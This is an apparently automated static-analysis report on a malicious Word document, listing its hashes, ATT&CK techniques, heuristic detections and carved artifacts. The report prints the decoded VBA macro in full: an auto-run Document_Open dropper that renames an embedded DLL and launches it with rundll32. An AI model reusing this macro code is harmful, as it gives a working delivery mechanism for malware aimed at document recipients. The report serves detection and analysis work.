Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c4a35337069f76b7…

MALICIOUS

Office (OLE)

1.00 MB Created: 2021-06-09 09:25:00 Authoring application: Microsoft Office Word First seen: 2021-06-28
MD5: b10e62c42f20005349a3e2e328fe3e6b SHA-1: 43f988125403b055f45be815aeff8360a154656a SHA-256: c4a35337069f76b76b82dc827bee7c2a391db64a645fb46506c789bd94c3d8a3
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing VBA macros. The Document_Open macro is designed to execute a dropped DLL payload. Specifically, it attempts to copy a file from the temporary directory to 'omsh.dll' in the Word auto-recover path and then execute it using 'rundll32.exe'. An embedded PE executable was also extracted, likely serving as the payload.

Heuristics 13

  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Ole10Native package carries executable/script file type high OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in an executable or script-capable extension. Even without UI extension spoofing, embedding a runnable payload inside an Office document is a high-risk delivery pattern.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       Set FSO = CreateObject("Scripting.FileSystemObject")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
    Reference to VirtualProtect API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2179 bytes
SHA-256: c00153187dc1ec2171ffaa82e9b8b0353c2e73d903d0e764fbc9bcc0c7152f4d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text


  Private Declare PtrSafe Function gc Lib "shell32" _
        Alias "ShellExecuteA" (ByVal hwnd As Long, _
        ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, _
        ByVal nShowCmd As Long) As Long
Dim hdv As String
Private Sub Document_Open()
Dim vcbc As String
vcbc = Options.DefaultFilePath(wdAutoRecoverPath)
Dim xc
xc = "texmp"
If Dir(vcbc & "\omsh.dll") = "" Then
Call yyy

Call xxx

If Len(hdv) > 2 Then

Call nam(hdv)

Dim ued As String
ued = ".exe"



 Dim cvzz As String
cvzz = "l32"


  gc 0, vbNullString, _
    "rundl" & cvzz, Options.DefaultFilePath(wdAutoRecoverPath) & "\omsh.dll,XVXHVARKBLX", _
     vbNullString, 1
End If
End If
End Sub
Sub yyy()
  Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.TypeBackspace
    Selection.Copy
End Sub
Sub xxx()
Dim usx
usx = Options.DefaultFilePath(wdTempFilePath)
 Dim FSO As Object
   Set FSO = CreateObject("Scripting.FileSystemObject")
Call Search(FSO.GetFolder(usx), hdv)
End Sub


Attribute VB_Name = "Module1"
Sub bvcbc()
Dim fdsf
fdsf = "ngffds"
End Sub
Sub nam(pafs As String)
Dim uu As String
uu = Options.DefaultFilePath(wdAutoRecoverPath)
Name pafs As uu & "\omsh.dll"
End Sub
Sub bcvsf()
Dim cxv
cxv = "vdcvdsf"
End Sub



 
 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object

  
   For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc
Dim Ters As Object
   For Each Ters In mds.Files
   
   If Ters.Name = "omh.dll" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub
embedded_office_0008f06e.exe embedded-pe Office MZ+PE at offset 0x8F06E 464274 bytes
SHA-256: 2551912d32d0aee6037a83e591e7a0369f99f5cea2518853df8165050352b548
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1684710856/Ole10Native 430380 bytes
SHA-256: 5af84c0aa320e1ffb63e0a31ffaab9078b68d15f76ef4830b1de35ac1ba73db7
ole10native_00_omh.dll ole-package-payload OLE Ole10Native payload: ObjectPool/_1684710856/Ole10Native; display_name=omh.dll; full_path=C:\Users\MyPc\AppData\Local\Temp\omh.dll; temp_path=; def_file= 430080 bytes
SHA-256: 0848ff6f55a93865c76f9775ab648f3669618315a157de7476b64bc0ad1cbcc1

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